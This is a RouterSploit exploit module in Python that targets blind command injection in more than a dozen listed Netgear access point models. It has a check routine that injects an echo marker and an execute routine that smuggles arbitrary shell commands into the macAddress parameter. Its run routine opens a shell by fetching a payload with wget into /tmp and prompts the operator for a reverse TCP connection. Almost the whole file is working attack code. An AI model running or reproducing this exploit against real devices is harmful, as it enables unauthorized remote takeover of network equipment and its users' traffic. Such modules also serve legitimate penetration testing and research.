from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
    __info__ = {
        "name": "Netgear Multi RCE",
        "description": "Module exploits remote command execution in multiple Netgear devices. If the target is "
                       "vulnerable, command loop is invoked that allows executing commands on operating system level.",
        "authors": (
            "Andrei Costin <andrei[at]firmware.re>",  # vulnerability discovery
            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
        ),
        "references": (
            "http://firmware.re/vulns/acsa-2015-001.php",
            "https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf",
        ),
        "devices": (
            "Netgear WG102",
            "Netgear WG103",
            "Netgear WN604",
            "Netgear WNDAP350",
            "Netgear WNDAP360",
            "Netgear WNAP320",
            "Netgear WNAP210",
            "Netgear WNDAP660",
            "Netgear WNDAP620",
            "Netgear WNDAP380R",
            "Netgear WNDAP380R(v2)",
            "Netgear WN370",
            "Netgear WND930",
        )
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    arch = OptString('mipsbe', 'Target architecture: mipsbe, mipsle')

    def __init__(self):
        self.resources = ['boardData102.php', 'boardData103.php', 'boardDataNA.php', 'boardDataWW.php', 'boardDataJP.php']
        self.valid_resource = None

    def run(self):
        if self.check():
            print_success("Target is vulnerable")
            print_status("Invoking command loop...")
            print_status("It is blind command injection - response is not available. Use reverse_tcp <reverse ip> <port>")

            if self.arch == "mipsbe":
                shell(self, architecture="mipsbe", method="wget", location="/tmp")
            elif self.arch == "mipsle":
                shell(self, architecture="mipsle", method="wget", location="/tmp")
        else:
            print_error("Target is not vulnerable")

    def execute(self, cmd):
        path = ("/{}?writeData=true&reginfo=0&macAddress= "
                "001122334455 -c 0 ;{}; echo #".format(self.valid_resource, cmd))

        # blind command injection
        self.http_request(
            method="GET",
            path=path
        )
        return ""

    @mute
    def check(self):
        mark = utils.random_text(32)
        cmd = "echo {}".format(mark)

        for resource in self.resources:
            path = ("/{}?writeData=true&reginfo=0&macAddress= "
                    "001122334455 -c 0 ;{}; echo #".format(resource, cmd))

            response = self.http_request(
                method="GET",
                path=path,
            )
            if response is None:
                return False  # target is not vulnerable

            if response.status_code == 200:
                response_body = response.text
                if "Update Success!" in response_body and mark in response_body:
                    self.valid_resource = resource
                    return True  # target is vulnerable

        return False  # target is not vulnerable
